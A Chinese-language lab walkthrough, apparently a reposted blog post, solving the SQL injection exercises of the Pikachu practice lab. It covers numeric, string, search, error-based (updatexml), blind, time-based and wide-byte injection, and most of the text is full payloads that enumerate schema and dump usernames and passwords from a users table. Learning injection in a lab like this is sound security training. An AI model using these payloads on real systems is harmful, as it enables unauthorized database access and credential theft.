赞
踩
这里,我们首先随便输入选择一个数字,然后用burp suite 抓包,如下图:
post传递的数据是:id=1&submit=%E6%9F%A5%E8%AF%A2,接下来方便观看,我使用hackbar进行,也可以直接在BP上进行修改.
1.首先验证是否存在漏洞,这里我们知道是数字型,所以可以直接输入
payload:id=1 or 1=1&submit=%E6%9F%A5%E8%AF%
2.然后就是order by 寻找列数,一般使用二分法去从寻找,这里我直接给出答案是2,下面会有一张错误截图,和正确截图
payload:id=1 order by 5&submit=%E6%9F%A5%E8%AF%
3.然后就是联合查询获取数据,这里获取用户名和数据库名,将id改成不存在,可以避免输出原信息,方便查看
payload:id=-1 union select user(),database()&submit=%E6%9F%A5%E8%AF%
4.拿到数据库名后就开始获取表名了,information_schema是系统自带的数据库,在这个库里会有你其他数据库的表名,列明,大家可以自己进入数据库进行查看
payload:id=-1 union select table_name,2 from information_schema.tables where table_schema = ‘pikachu’&submit=%E6%9F%A5%E8%AF%
5,现在我们在pikachu的库里获取到了五张表httpinfo,member,message,users,xssblind
users很明显会存在账号密码等数据,所以我们对这张表进行爆破列明
playload:id=-1 union select column_name,2 from information_schema.columns where table_name = ‘users’ and table_schema = ‘pikachu’&submit=%E6%9F%A5%E8%AF%
6.现在我们拿到了列名,接下来就是爆破数据了,由于只能显示两个数据,所以这里我们获取,username,password
payload:union select username,password from users
1.get类型会直接显示在url上,所以这个不需要抓包,通过直接观看源代码,我们可以得到是单引号标注
2.payload:vince’ or 1=1#
这里我说明一下原理,正常的数据库执行语句是:
select ‘vince’ from 表名,我们输入的payload是替代了vince,
select ‘vince’ or 1=1#’ from 表名,这个的意义就是首先vince闭合不变,#将后面的单引号给注释掉,造成执行语句,当然这里也有很多可以进行改变的地方比如:vince’ or ‘1’=‘1 这个也是可以,然后还有注释–,不知道为什么在这里不可以使用
3.在后面的方式其实就和前面一样了,后面我就直接给出payload:
一、vince’ order by 2#order by //获取列数
二、a’ union select user(),database() # //获取数据库名
三、a’ union select table_name,2 from information_schema.tables where table_schema = ‘pikachu’ # //得到表名
四、a’ union select column_name,2 from information_schema.columns where table_name = ‘users’ and table_schema = ‘pikachu’ # //得到列名
五、a’ union select username,password from users# //拿到账号密码
1.搜索型注入其实原理就是前后添加了%,这是sql中模糊搜索的语法,知道原理,其实过程都相差不大,我直接放出payload,不懂得自己研究
一、a%’ and 1=1 #
二、a%’ order by 3 #
这里是3列
三、a%’ union select user(),database(),version()#
version()是获取数据库版本
四、a%‘union select table_name,2,3 from information_schema.tables where table_schema = ‘pikachu’#
五、a%’ union select column_name,2,3 from information_schema.columns where table_schema = ‘pikachu’ and table_name = ‘users’ #
六、a%’ union select username,password,3 from users #
1.查看源代码可以知道闭合类型是(‘vince’),直接上payload吧
一、vince’) and 1=1#
二、vince’) order by 2 #
三、a’) union select user(),database()#
四、a’) union select table_name,2 from information_schema.tables where table_schema = ‘pikachu’#
五、a’) union select column_name,2 from information_schema.columns where table_schema = ‘pikachu’ and table_name = ‘users’ #
六、a’) union select username,password from users #
1.在这里利用的是报错注入的方式,去获取信息.首先我们注册信息,开启BP,抓一个包,拿到post传输的数据然后使用hackbar
username=aaa&password=111&sex=&phonenum=&email=&add=&submit=submit
2.payload:username=aaa’ and updatexml(1,concat(0x7e,(select database()),0x7e),3) and ‘’,‘22’,‘33’,‘44’,‘55’,‘66’)#
&password=666666&sex=&phonenum=&email=&add=&submit=submit
这个payload看着好像很复杂其实很简单,updatexml大家可以去查这个函数的用法,我推荐一个博客,讲解简单清晰
https://blog.csdn.net/qq_37873738/article/details/88042610
3.使用上个payload可以获取数据库名字,然后是表名
payload:username=’ or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema =‘pikachu’),1,30),0x7e),3),‘123456’,‘3’,‘4’,‘5’,‘6’)#
&password=123456&sex=1&phonenum=&email=&add=&submit=submit
这里就是在原有基础上去增加了substr()函数和group_concat()函数,
group_concat()是因为只能显示一行,而substr(),则是最多只能显示32个字符,所以当超过32个字符时,只能执行多次,去获取。substr(数据,1,30),1和30,就是从第一个开始显示,显示30个字符,第二次将1改成30,多次循环,就可以获取完整数据了,图片如下:
4.接下来就不做演示,直接上payload
payload:username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name = ‘users’),1,30),0x7e),3),‘123456’,‘3’,‘4’,‘5’,‘6’)#&password=123456&sex=1&phonenum=&email=&add=&submit=submit
payload:
username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(username,password) from users ),1,30),0x7e),3),‘123456’,‘3’,‘4’,‘5’,‘6’)#&password=123456&sex=1&phonenum=&email=&add=&submit=submit
5.注册利用的时insert,接下来就是update了,使用注册的账号,登录进去,找到修改信息,同样使用BP抓一个修改信息的包
payload:sex=nv’ and updatexml(1,concat(0x7e,(select database()),0x7e),3) #&phonenum=4&add=5&email=6&submit=submit
接下来的payload,你们自己构建,相信看了这么多,你肯定也会了。
1.我就提示一下,发表留言,然后删除去抓包,看你们自己了,同样是利用报错注入
1.http 头部注入的原理就是当你注册的时候你的UA字段和cookie会被记录,所以使用BP抓住登录的包,进行修改,进而插入
1.盲注是由于没有回显信息,所以只能通过插入sql语句去进行单个验证,这里我们知道第一个字符是p,对应的ascill码就是112,在这有个小技巧,就是使用BP的爆破功能去进行把爆破,首先可以用lenth()去获取长度,然后再输入ascii码的范围,进行爆破。
payload:vince’ and ascii(substr(database(),1,1))=112#
1.基于时间,就是通过响应时间去获取准确的数值,下面给了两种方法,
vince’ and sleep(5)#
vince’ and if((substr(database(),1,1))=‘p’,sleep(5),null)#
vince’ and if(ascii((substr(database(),1,1)))=‘112’,sleep(5),null)#
按F12查看调试器可以去查看响应时间
宽字节注入就是单引号被转义了,所以需要通过加入其他符号,让其转义没有意义,不知道为什么用hackbar没用,用BP直接修改就可以
payload:name=kobe %df’ or 1=1#
后续的payload自己构建。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。